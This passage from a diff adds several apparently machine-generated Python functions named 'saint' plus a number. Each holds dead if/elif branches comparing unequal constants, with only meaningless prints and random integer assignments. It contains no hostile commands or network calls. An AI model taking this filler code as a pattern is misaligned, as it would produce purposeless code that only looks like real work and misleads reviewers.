+ xx717507 = 2701883
385
+
386
+ a7885978 = 3268149
387
+ aa5063918 = 4390540
388
+
389
+ def saint7898857():
390
+ if 8793798 == 1784701:
391
+
392
+ print(8837721)
393
+ aaa4361742 = 8611809
394
+
395
+ print(7079487)
396
+ bbb3574575 = 279260
397
+
398
+ aa6988834 = 4521553
399
+
400
+ z6932801 = 1901865
401
+ zz1955024 = 5200820
402
+
403
+ c8783229 = 5489601
404
+ cc4328180 = 1951009
405
+
406
+ elif 5008365 == 4249972:
407
+
408
+ print(2030067)
409
+
410
+ aaa4385757 = 6819568
411
+ print(4214953)
412
+
413
+ bbb7677980 = 1223709
414
+ aa505933 = 156090
415
+ x974454 = 7092963
416
+ xx6279650 = 3867402
417
+
418
+ a8129132 = 6993250
419
+ aa220496 = 3714347
420
+
421
+ def saint4066361():
422
+ if 8699921 == 4833905:
423
+
424
+ print(6158837)
425
+ aaa5819342 = 1565217
426
+
427
+ print(2256956)
428
+ bbb8745273 = 568910
429
+
430
+ aa2076465 = 7701967
431
+
432
+ z6126072 = 6882537
433
+ zz7809099 = 2127410
434
+
435
+ c153872 = 2779512
436
+ cc994818 = 4013461
437
+
438
+ elif 2091772 == 8801800:
439
+
440
+ print(4285393)
441
+
442
+ aaa6106918 = 3180674
443
+ print(8010332)
444
+
445
+ bbb5679670 = 9763780
446
+ aa1494291 = 9763958
447
+ x670411 = 4702923
448
+ xx3649505 = 740531
449
+
450
+ a8820499 = 7591259
451
+ aa7232298 = 284381
452
+
453
+ def saint8653409():
454
+ if 7648266 == 3503207:
455
+
456
+ print(825834)
457
+ aaa3943000 = 3289266
458
+
459
+ print(4829340)
460
+ bbb4901491 = 2442925
461
+
462
+ aa1373449 = 9858397
463
+
464
+ z4503315 = 5108298
465
+ zz7480620 = 7532131
466
+
467
+ c3141330 = 7742355
468
+ cc3196982 = 8880138
469
+
470
+ elif 6713802 == 7007886:
471
+
472
+ print(9377673)
473
+
474
+ aaa6328024 = 1202984
475
+ print(430683)
476
+
477
+ bbb7043948 = 9222910
478
+ aa8640762 = 973548
479
+ x8027840 = 6502876
480
+ xx4415461 = 5390997
481
+
482
+ a2577045 = 9006056
483
+ aa1891125 = 5746771
484
+
485
+ def saint2506258():
486
+ if 4321846 == 7725718:
487
+
488
+ print(8533167)
489
+ aaa172932 = 5743105
490
+
491
+ print(8973867)
492
+ bbb5980635 = 1682462
493
+
494
+ aa7982785 = 6319617
495
+
496
+ z5264794 = 3341599
497
+ zz5170685 = 6471787
498
+
499
+ c9560616 = 9821302
500
+ cc5363494 = 731628
501
+
502
+ elif 4337402 == 1073870:
503
+
504
+ print(3585243)
505
+
506
+ aaa7629937 = 938839
507
+ print(1872535)
508
+
509
+ bbb3495332 = 6189777
510
+ aa933146 = 2414606
511
+ x7407641 = 8672000
512
+ xx7006425 = 3445613
513
+
514
+ a6774729 = 9002983
515
+ aa4488275 = 6768954
516
+
517
+ def saint9009966():
518
+ if 3304571 == 3578628:
519
+
520
+ print(8742243)
521
+ aaa784542 = 1384236
522
+
523
+ print(9419777)
524
+ bbb5957460 = 9304146
525
+
526
+ aa4290898 = 9047896
527
+
528
+ z5916006 = 6754472
529
+ zz2711137 = 3259808
530
+
531
+ c5519061 = 5426324
532
+ cc1824785 = 8181499
533
+
534
+ elif 6898030 == 150707:
535
+
536
+ print(3567796)
537
+
538
+ aaa1530349 = 9168867
539
+ print(3413571)
540
+
541
+ bbb5568288 = 5786415
542
+ aa3850053 = 2529008
543
+ x3830586 = 6337906
544
+ xx8464171 = 4835961
545
+
546
+ a3187731 = 1650286
547
+ aa2955472 = 9871809
548
+
549
+ def saint8401722():
550
+ if 2401678 == 5917483:
551
+
552
+ print(4089342)
553
+ aaa6493156 = 7057026
554
+
555
+ print(7887733)
556
+ bbb595603 = 9288101
557
+
558
+ aa7892767 = 2485629
559
+
560
+ z3195152 = 339861
561
+ zz2298766 = 4423051
562
+
563
+ c4123491 = 972238
564
+ cc7959308 = 4065154
565
+
566
+ elif 3692356 == 2374431:
567
+
568
+ print(1082334)
569
+
570
+ aaa6651869 = 8989834
571
+ print(2600113)
572
+
573
+ bbb1459297 = 610064
574
+ aa142682 = 8123593
575
+ x7249208 = 1099971
576
+ xx3761778 = 5036590
577
+
578
+ a4521883 = 4779904
579
+ aa1799781 = 9055975
580
+
581
+ def saint9792824():
582
+ if 3621327 == 7047956:
583
+
584
+ print(8826261)
585
+ aaa2032195 = 8273459
586
+
587
+ print(8183715)
588
+ bbb9103733 = 4115542
589
+
590
+ aa2868826 = 6846246
591
+
592
+ z8951355 = 2938476
593
+ zz2210214 = 9981421
594
+
595
+ c5148828 = 6577740
596
+ cc8876506 = 587708
597
+
598
+ elif 8290562 == 5536713:
599
+
600
+ print(5969289)
601
+
602
+ aaa4026595 = 5991371
603
+ print(8462862)
604
+
605
+ bbb5161975 = 6952961
606
+ aa4076072 = 5160785
607
+ x827642 = 1908137
608
+ xx5240052 = 170466
609
+
610
+ a2322378 = 918588
611
+ aa2247805 = 6610145
612
+
613
+ def saint7202967():
614
+ if 2312250 == 7012643:
615
+
616
+ print(1878886)
617
+ aaa884535 = 4820815
618
+
619
+ print(435275)
620
+ bbb3835769 = 1271838
621
+
622
+ aa7619872 = 9902763
623
+
624
+ z994102 = 7834271
625
+ zz1253573 = 3818391
626
+
627
+ c794656 = 8992003
628
+ cc8996140 = 5026975
629
+
630
+ elif 472427 == 4781135:
631
+
632
+ print(8254611)
633
+
634
+ aaa9000441 = 8658409
635
+ print(7894467)
636
+
637
+ bbb7435440 = 8937471
638
+ aa5009607 = 7278077
639
+ x9832257 = 5738342
640
+ xx2480912 = 1420147
641
+
642
+ a2446506 = 2802663
643
+ aa7857151 = 4554417
644
+